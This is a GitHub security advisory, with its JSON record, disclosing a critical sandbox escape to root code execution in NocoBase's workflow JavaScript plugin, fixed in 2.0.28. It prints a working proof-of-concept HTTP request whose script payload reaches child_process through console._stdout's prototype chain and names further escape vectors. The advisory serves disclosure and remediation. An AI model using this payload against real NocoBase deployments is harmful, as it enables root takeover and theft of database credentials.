GHSA-PX3P-VGH9-M57C
Vulnerability from github – Published: 2026-03-30 17:16 – Updated: 2026-03-31 18:50## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console._stdout.constructor.constructor→ host-realmFunctionconstructorFunction('return process')()→ Node.jsprocessobjectprocess.mainModule.require('child_process')→ unrestricted module loadingchild_process.execSync('id')→ RCE as root
This completely bypasses the customRequire allowlist.
Impact
- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (
DB_PASSWORD,INIT_ROOT_PASSWORDfromprocess.env) - Arbitrary file read/write via
require('fs') - Reverse shell confirmed
- Outbound network access for lateral movement
Proof of Concept
HTTP Request:
POST /api/flow_nodes:test Authorization: Bearer Content-Type: application/json
{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image:
nocobase/nocobase:latest - NocoBase CLI: v2.0.26
- Node.js: v20.20.1
- OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell
Proof of concept the root privileges
os-release demonstration
App path
Exploit Usage:
Reverse Shell Mode
Dump system information & creds
Remote Command Execution Mode
Remediation
- Replace Node.js
vmmodule withisolated-vmfor true V8 isolate separation - Do not pass the host
consoleobject into the sandbox; create a clean proxy - Run the application as a non-root user inside Docker
- Restrict
/api/flow_nodes:testto admin-only roles
Alternative Escape Vectors
console._stderr.constructor.constructor(identical chain via stderr)Error.prepareStackTrace+CallSite.getThis()(V8 CallSite API)
Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.27"
},
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-workflow-javascript"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34156"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T17:16:24Z",
"nvd_published_at": "2026-03-31T14:16:12Z",
"severity": "CRITICAL"
},
"details": "`##` Summary\n\nNocoBase\u0027s Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.\n\nAn authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.\n\n## Exploit Chain\n\n1. `console._stdout.constructor.constructor` \u2192 host-realm `Function` constructor\n2. `Function(\u0027return process\u0027)()` \u2192 Node.js `process` object\n3. `process.mainModule.require(\u0027child_process\u0027)` \u2192 unrestricted module loading\n4. `child_process.execSync(\u0027id\u0027)` \u2192 RCE as root\n\nThis completely bypasses the `customRequire` allowlist.\n\n## Impact\n\n- Remote Code Execution as root (uid=0) inside Docker container\n- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)\n- Arbitrary file read/write via `require(\u0027fs\u0027)`\n- Reverse shell confirmed\n- Outbound network access for lateral movement\n\n## Proof of Concept\n\n**HTTP Request:**\n\nPOST /api/flow_nodes:test\nAuthorization: Bearer \u003cJWT_TOKEN\u003e\nContent-Type: application/json\n\n{\n \"type\": \"script\",\n \"config\": {\n \"content\": \"const Fn=console._stdout.constructor.constructor;const proc=Fn(\u0027return process\u0027)();const cp=proc.mainModule.require(\u0027child_process\u0027);return cp.execSync(\u0027id\u0027).toString().trim();\",\n \"timeout\": 5000,\n \"arguments\": []\n }\n}\n\n**Response:**\n\n{\"data\":{\"status\":1,\"result\":\"uid=0(root) gid=0(root) groups=0(root)\",\"log\":\"\"}}\n\n## Environment\n\n- Docker image: `nocobase/nocobase:latest`\n- NocoBase CLI: v2.0.26\n- Node.js: v20.20.1\n- OS: Debian GNU/Linux 12 (bookworm)\n\n## PoC\n\nGot reverse shell\n\n\u003cimg width=\"1300\" height=\"743\" alt=\"Screenshot 2026-03-26 at 06 09 51\" src=\"https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e\" /\u003e\n\nProof of concept the root privileges\n\n\u003cimg width=\"1292\" height=\"515\" alt=\"Screenshot 2026-03-26 at 06 12 29\" src=\"https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50\" /\u003e\n\nos-release demonstration\n\n\u003cimg width=\"1290\" height=\"523\" alt=\"Screenshot 2026-03-26 at 06 12 54\" src=\"https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00\" /\u003e\n\n\u003cimg width=\"1296\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b\" /\u003e\n\nApp path\n\n\u003cimg width=\"1295\" height=\"516\" alt=\"Screenshot 2026-03-26 at 06 14 04\" src=\"https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245\" /\u003e\n\n## Exploit Usage:\n\nReverse Shell Mode\n\n\u003cimg width=\"1299\" height=\"523\" alt=\"tool1\" src=\"https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569\" /\u003e\n\nDump system information \u0026 creds\n\n\u003cimg width=\"635\" height=\"591\" alt=\"tool2\" src=\"https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8\" /\u003e\n\nRemote Command Execution Mode\n\n\u003cimg width=\"644\" height=\"467\" alt=\"tool3\" src=\"https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec\" /\u003e\n\n\n\n## Remediation\n\n1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation\n2. Do not pass the host `console` object into the sandbox; create a clean proxy\n3. Run the application as a non-root user inside Docker\n4. Restrict `/api/flow_nodes:test` to admin-only roles\n\n## Alternative Escape Vectors\n\n- `console._stderr.constructor.constructor` (identical chain via stderr)\n- `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API)\n\n## Reporter\n\nOnurcan Gen\u00e7 \u2014 Independent Security Researcher, Bilkent University",
"id": "GHSA-px3p-vgh9-m57c",
"modified": "2026-03-31T18:50:32Z",
"published": "2026-03-30T17:16:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34156"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/8967"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.28"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.